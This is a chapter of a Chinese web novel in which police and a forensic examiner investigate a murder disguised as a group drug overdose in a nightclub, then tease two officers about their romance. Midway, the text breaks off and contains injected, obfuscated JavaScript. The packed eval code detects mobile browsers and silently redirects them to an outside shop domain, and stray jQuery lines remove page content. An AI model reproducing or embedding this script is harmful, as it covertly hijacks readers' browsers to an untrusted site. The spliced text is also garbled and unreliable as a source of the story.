包厢装修奢华密闭隔音极好,安静得只剩几人的脚步声,刘雯拎着物证箱边走边开口:“窗户是全开状态,窗沿有新鲜摩擦划痕,边缘漆面刮蹭脱落,应该就是那三名嫌疑人翻窗出逃的位置。”
安景舟目光扫过整张大理石茶几,上面散落着好几根塑胶吸管、裁剪整齐的锡纸、空的透明小塑封袋,桌角还丢着两只用过的一次性针管套筒,地面缝隙、沙发边缘零零散散落着不少细小的白色粉末残渣,到处都是聚众涉毒的痕迹。
“我的天,这么多工具?”刘雯蹲下身,一边逐一边拍照取证,“我还以为就死者和三名嫌疑人在场,没想到是大型聚众/吸/毒/现场,工具数量根本不是两三个人用的。”
“何止啊。”刚取完窗沿痕迹物证的警员插话,“你看这些锡纸好多都是反复灼烧过的痕迹,明显是长期高频使用,绝对不是第一次在这聚众。”
安景舟指尖虚点桌面散落的塑封袋:“这夜总会的高层大概率知情甚至默许,专门给这类富商特殊圈子提供隐秘场地。”
刘雯快速分类收纳物证,边装边吐槽:“有钱人的奢靡圈子真是乱得离谱,花钱包场聚众涉毒,把违法犯罪当消遣,胆子也太大了。”
“也难怪凶手选在这里作案。”沂琛缓缓出声,“本身就是/涉/毒/窝点,死者身上的中毒痕迹只会被认定为聚众吸毒意外,最大程度掩盖蓄意杀人的痕迹。”
“妥妥的灯下黑。”安景舟颔首,“利用现成的违法现场掩盖谋杀,心思歹毒且缜密。”
“那这么说来,死者根本不是无辜受害者?”刘雯疑惑开口,“他自己本身就混迹这种涉毒圈子,是常年参与聚众吸毒的人?”
“大概率是。”沂琛点头,“他能接触到异香绝非偶然,他和凶手必然存在深度牵扯。”
就在几人梳理线索时,对讲机突然响起陶玙急促又兴奋的声音:“老安!重大突破!楼下绿化带不仅有新鲜踩踏痕迹,还找到一块带血的黑色布料碎片,还有一枚掉落的小型金属吊坠,应该是嫌疑人跳窗时脱落的!”
安景舟指尖一按对讲:“确定是新鲜物证?”
“百分百新鲜!”陶玙的声音透过对讲机噼里啪啦传来,激动得快飘起来,“布料带新鲜血迹,没干多久,吊坠也崭新,没有氧化灰尘,绝对是刚刚跳窗逃跑那三个人掉的!”
刘雯当场乐了,轻轻啧了一声:“笑死,还以为三个高手布局天衣无缝,结果跑路跑的太狼狈,直接把‘随身线索’摔地上了?”
“聪明反被聪明误。”沂琛淡淡补了一句。
安景舟忍笑:“三楼硬跳,慌不择路,能完整跑掉就不错了,不掉东西才奇怪。”
对讲机里陶玙继续叭叭:“我跟你说,这绿化带灌木枝杈特别密,他们跳下来肯定刮破皮勾衣服了,血迹就是树枝划伤蹭出来的,我赌五毛,这三个人现在绝对带伤。”
刘雯抱着物证箱轻笑:“可以啊陶副,现场推理越来越熟悉了,都快赶上安队了。”
“别捧我别捧我!”陶玙大笑,“我这叫实战经验丰富,常年蹲现场捡破烂不是白练的!”
轻松两句插科打诨过后,安景舟迅速拉回状态:“带血布料这些都是直接个体物证,比脚印痕迹含金量高太多了。”
刘雯点头附和:“没错,只要血迹入库比对,很容易锁定个人。”
走廊尽头传来一阵急促又略显狼狈的脚步声,海之提着工具箱大步赶来,额前贴着细碎的湿发,满头薄汗,呼吸都没捋顺,一看就是一路狂奔冲进来的。
安景舟转头,他向来对案子认真程度是比较严格的:“你们法医部是彻底关门放假了?现场出命案,拖到现在才到,外面是有丧尸拦路,不让你们出来?”
海之抬手胡乱抹了把额头的汗,一脸生无可恋的委屈:“别凶别凶!打死我都没想到这个点居然还能堵晚高峰!整条主干道直接堵死,车根本开不动,我只能拎着箱子一路跑过来,差点跑缺氧。”
安景舟神色稍缓,带着点无奈的调侃:“再晚点,现场痕迹都挥发干净了,尸体彻底凉透,关键时效物证全没了。”
海之一边蹲身打开工具箱,一边一本正经抬杠:“大哥,人死了本来就会凉,这是自然物理规律,不怪我堵车。”
刘雯当场憋笑,连忙打圆场:“海法医辛苦辛苦!大晚上堵车还狂奔出警,属实不容易。”
海之戴好手套,凑到尸体旁快速扫了一眼体表状态,边检查边随口吐槽:“我真服了这城市交通,白天堵晚上堵,我干法医这么多年,连夜奔丧都没这么狼狈。”
安景舟双手抱胸,淡淡挑眉:“所以现在敢上奔丧现场了,赶紧干活。”
“知道知道。”海之收起玩笑,指尖拨开死者脖颈皮肤,“体表青紫严重,喉管大面积灼烧溃烂,还有隐蔽注射针孔,又是特殊/毒/品/案对吧?我路上听调度简单说了一嘴。”
刘雯:“对,是异香,体表灼伤是伪造吸食现场,真正死因是静脉注射中毒。”
“又是异香?这玩意可真是阴魂不散。”海之闻言眉头一拧,他抬眼看向安景舟:“现场只能做初步判断,尸体我要带回实验室进行。”
安景舟微微颔首:“抓紧时间,痕迹不等人。”
“放心,专业拿捏。”海之比了个OK手势,拿起无菌棉签精准对准死者手臂的细小针孔,“我先提取针孔周边残留组织体表附着物,这些是时效性最短的关键证据,稍微耽误就会氧化失效。”
“这次的异香腐蚀痕迹和上次那个案子有区别吗?”沂琛走到尸体旁问。
海之动作一顿,猛地抬头看向他,笑着叹出声:“这么久了,你还是对异象这么感兴趣,一点没变。”
“……”沂琛认真道:“不是感兴趣。”
“大差不差,但细节有区别,死者全身皮下泛青淤红是典型的血液性毒素腐蚀,百分百静脉注射入体导致。而且尸体僵直程度远超普通猝死案,说明毒素发作速度极快,短短几分钟就能让受害者休克,凶手对异香的剂量几乎是致死量。”海之没再逗他,笑着抬头:“如果你感兴趣,我回去化验之后,把两份毒检报告做成比对表发给你。”
“麻烦你了。”沂琛颔首。
“分内工作罢了,就是可怜我今晚又没法睡觉了。”海之唉声叹气,苦着脸抱怨,“本来打算下班回家打游戏,这下好了,通宵泡解剖室。”
短暂说笑过后,现场氛围重新归于严谨,海之收拾好工具箱,安排外勤人员封装遗体运回法医中心解剖,黑色裹尸带拉链拉合,海之直起身,抬手胡乱抹了把额角的薄汗,累得长长吁了口气:“真是冤种加班实锤。”
刘雯笑着接话:“知足吧海法医,这次线索清晰不用瞎熬。”
“借你吉言。”海之笑了声。
现场彻底收束完毕,晚风卷着夜里的凉意掠过空旷包厢,冲淡了些许残留的诡异异香,安景舟开口问道:“死者身份查到没有?”</p
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17797808|210556||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
>
“死者叫山随,三十四岁。”刘雯握着警务终端滑动档案页面,“商氏集团创始人,圈子里有名气的青年企业家,但性格痞气很重,私生活混乱,也长期混迹高端私密局,有长期隐性吸毒史。”
“能接触到异香,想必也不是什么普通人。”安景舟说,“能在这里杀人,绝对是死者的圈内熟人。”
刘雯收拾好工具箱,直起身道:“有钱人的高端局看着光鲜,背地里乌烟瘴气,藏得龌龊事比谁都多,好好的青年企业家,最后把自己玩进了鬼门关。”
一行人陆续退出包厢,外勤队员封锁现场,分批乘车返程市局。
此时夜里已然十二点整,整座城市褪去白日喧嚣,街道车流稀疏,路灯拉出绵长冷清的光影,尽数倒退在车窗之外。
后排座位宽敞,安景舟挨着沂琛坐,两人距离挨得很近,肩头若有若无相抵;沂琛侧脸靠着车窗,目光落在窗外飞速掠过的夜景。
车厢安静了半晌,安景舟偏头侧过来:“怎么说?”
沂琛目不转睛看着窗外,漫不经心回了句:“什么怎么说?”
安景舟低笑了声:“别装,回家吃饭的事。”
“……”
前排陶玙专注开车,刘雯坐在副驾,两人全程安分沉默,唯独眼神时不时悄悄往中央后视镜瞟两下,吃瓜心态拉满,却半点不敢转头乱动。
“……再说。”沂琛视线都没挪回来,明显想糊弄过去的敷衍。
“什么再说!这事要么趁早定了,反正以后也要经历,倒不如早点圆了二老的愿不是?”
沂琛终于侧过头睨了他一眼:“你倒是说得轻巧。”
“就上门做客,单纯吃一顿家常饭而已,我爸妈还能把你吃了不成?”
“以同事身份吃饭我就去。”
安景舟指尖摩挲着下巴,带着几分故意的为难调侃:“有点难办了,我爸妈毕竟都看到了,我总不能跟他们说我嘴痒找人帮我啃一下吧。”
“……”
只要二老是傻子,这个理由还真就行得通。
车子很快就开到了市局大楼楼下,深夜的警局灯火通明,沂琛率先推开车门,大步往下走,安景舟无奈摇头失笑,紧随其后下车,两人一前一后径直走进大楼里。
车子里的陶玙和刘雯磨磨蹭蹭赖在座位上,对着安全带反复折磨,等两道身影走进大厅看不见了,陶玙才偏过头,忍不住一脸八卦:“你说咱们老大是不是没救了?”
刘雯单手撑着下巴,笑得肩膀直抖:“我都没有想到咱们安队竟然是个恋爱脑呢。”
陶玙挠挠头,一脸后知后觉的懵懂:“不是啊,我咋没发现他这么黏沂琛呢?”
刘雯当即露出一脸看透一切的姨母笑:“我早就跟你说过他俩不对劲,你还非得说我是想谈恋爱了,看谁都暧昧,我谈你个头!”
陶玙一脸冤枉:“我一直以为就是关系好的好兄弟而已……”
“你那直男眼神能看出什么端倪?”刘雯翻了个白眼。
“难怪每次沂琛稍微晚点回队,老大眼神都不对劲,难怪别人跟他开玩笑直接冷脸,沂琛怼他,他全程乐呵呵的跟个二傻子似的!”陶玙一拍大腿:“完了完了,以后咱们队内的伙食要断粮了。”
“旧妈已经不管用了吗?”
陶玙摆出一副活脱脱‘不被爱的那个人才是第三者’的委屈神态,耷拉着脑袋,哭丧着脸,唉声叹气解开安全带,一步三回头地下车。